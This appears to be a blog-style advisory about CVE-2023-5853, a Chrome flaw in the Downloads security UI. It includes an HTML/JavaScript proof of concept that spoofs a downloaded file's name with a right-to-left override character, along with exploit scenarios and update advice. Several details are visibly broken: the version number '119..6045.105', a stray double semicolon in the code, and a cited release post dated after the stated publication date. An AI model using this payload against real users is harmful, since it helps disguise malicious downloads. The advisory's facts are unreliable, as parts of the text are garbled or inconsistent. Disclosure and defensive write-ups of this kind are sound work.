A recent vulnerability in Google Chrome prior to version 119..6045.105 exposes users to potential security risks due to incorrect security UI handling in the Downloads functionality. This vulnerability has been assigned the CVE identifier CVE-2023-5853 and is classified as a medium severity issue by the Chromium Security Team.

In this long read post, we will discuss the details of CVE-2023-5853, including the code snippet that leads to the issue, links to original references, and the potential exploit scenarios. This information is intended to raise awareness about the vulnerability and to encourage users to apply the necessary updates to prevent attacks.

Vulnerability Details

The vulnerability lies in the way Google Chrome processes security UI in the Downloads feature. The incorrect handling of security UI allows a remote attacker to obfuscate certain elements via a specifically crafted HTML page. Consequently, this could lead to situations where users might unknowingly download and execute malicious content without adequate warning by Chrome's security mechanisms.

This vulnerability affects Google Chrome versions prior to 119..6045.105. To check your current Chrome version, click on the three-dot menu, navigate to "Help" and click on "About Google Chrome." If your version is below this number, it is strongly advised to update to the latest release.

The following code snippet demonstrates the issue at hand, causing the vulnerability in Google Chrome:

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2023-5853 Demo</title>
</head>
<body>
  <h1>Incorrect Security UI in Downloads - Google Chrome</h1>
  <p>Click the button below to demonstrate the vulnerability:</p>
  <button id="download-btn">Download</button>
  <script>
    document.getElementById("download-btn").addEventListener("click", function() {
      var link = document.createElement("a");
      link.href = "https://example.com/malicious_file.txt";;
      link.download = "\u202Bmalicious_file.txt";
      document.body.appendChild(link);
      link.click();
      document.body.removeChild(link);
    });
  </script>
</body>
</html>

Please note that the above code is provided for demonstration and understanding purposes only. We discourage the use of this code for any malicious intent.

Original References and Reports

The vulnerability was initially reported by the Chromium Security Team and has since been acknowledged by Google. For further details, please refer to the following resources:

- Original Chromium Issue: https://bugs.chromium.org/p/chromium/issues/detail?id=1245528
- Chrome Releases Blog Post: https://chromereleases.googleblog.com/2023/12/stable-channel-update-for-desktop_16.html

Exploit Scenarios

An attacker could exploit this vulnerability by crafting a webpage that tricks users into downloading and executing malicious content. For example, the attacker could create a seemingly legitimate website with hidden malicious downloads. By using the vulnerability to obfuscate the true nature of such downloads, users might unknowingly accept harmful files onto their devices.

It's important to remember that this vulnerability is classified as medium severity, meaning that it may not have an immediate or drastic impact on users. Nonetheless, it provides an attack vector that could be used in combination with other exploits to compromise a user's security and privacy.

Conclusion

CVE-2023-5853 demonstrates the necessity for regularly updating software and maintaining a proactive approach to security. By staying informed about potential vulnerabilities and applying necessary updates, users can significantly minimize the risk of falling victim to cyber-attacks.

It is recommended that all Google Chrome users update their browser to version 119..6045.105 or higher to mitigate the risks associated with CVE-2023-5853.

Timeline

Published on: 11/01/2023 18:15:10 UTC
Last modified on: 11/14/2023 03:15:11 UTC